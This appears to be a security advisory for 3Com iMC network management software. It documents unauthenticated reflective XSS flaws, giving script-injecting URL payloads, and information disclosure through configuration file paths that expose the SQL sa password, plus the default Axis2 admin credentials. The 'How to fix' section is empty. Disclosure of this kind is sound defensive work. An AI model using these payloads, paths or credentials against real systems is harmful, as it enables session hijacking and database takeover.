• Description
  3Com's iMC (Intelligent Management Centre) provides professional management of 3Com and third party network devices, the IMC is normally accessed using a web browser over port 8080. Various IMC pages are vulnerable to a reflective XSS attack, including the login page. Various pages also disclose information including the SQL sa account password which might be used to assist in carrying out further attacks.
  
  
  Note: tested on 3Com IMC running on Windows and Microsoft SQL 2005
  
  Version 3.3.9 R2 606 29 Sept 2009
  Version 3.3 SP1 R2 606 15 Dec 2009
• Proof of concept
  The following demonstrate the XSS flaws (no authentication needed):
  
  1) The login page is vulnerable to a vanilla XSS
  
  
  http://target-domain.foo:8080/imc/login.jsf?loginForm%3a_link_hidden_=&javax.faces.ViewState=%3C/textarea%3E%3Cscript%3Ealert(1)%3C/script%3E
  
  
  
  
  2) IE only
  
  http://target-domain.foo:8080/imc/dwr/call/plaincall/blah?callCount=<script>alert(1)</script>
  http://target-domain.foo:8080/imc/dwr/interface/<script>alert(1)</script>
  
  
  
  Consequences:
  
  An attacker may be able to cause execution of malicious scripting code in the browser of a user who clicks on a link to a 3Com IMC-based site. Such code would run within the security context of the target domain. This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: session IDs) to unauthorised third parties.
  
  ----------------------------------------------------------------------------------------------------------------------------------------------
  
  The following demonstrate the Information disclosure flaws (no authentication needed)
  
  1) The SQL sa account password can be remotely retrieved, by knowing the path of the configuration file.
  
  http://target-domain.foo:8080/imc/reportscript/sqlserver/deploypara.properties
  http://target-domain.foo:8080/rpt/reportscript/sqlserver/deploypara.properties
  http://target-domain.foo:8080/imc/reportscript/oracle/deploypara.properties
  
  The sql file contains the following information:-
  report.db.server.name=127.0.0.1
  report.db.server.sa.pass=iMC-Install2005
  report.db.server.user.pass=sqlsql
  
  2) Information about the web services supported is publically disclosed by the Axis2 console.
  http://target-domain.foo:8080/imcws/
  
  Including services configuration
  http://target-domain.foo:8080/imcws/services/listServices
  
  The Axis2 console has the default credentials - User=admin Password=axis
  http://target-domain.foo:8080/imcws/axis2-admin/
  
  The Admin console allows machine configuration to be viewed and changed and new services uploaded.
  
  Consequences:
  
  An attacker may be able to obtain additional information on the machines configuration, and use this information for more advanced attacks.
• How to fix
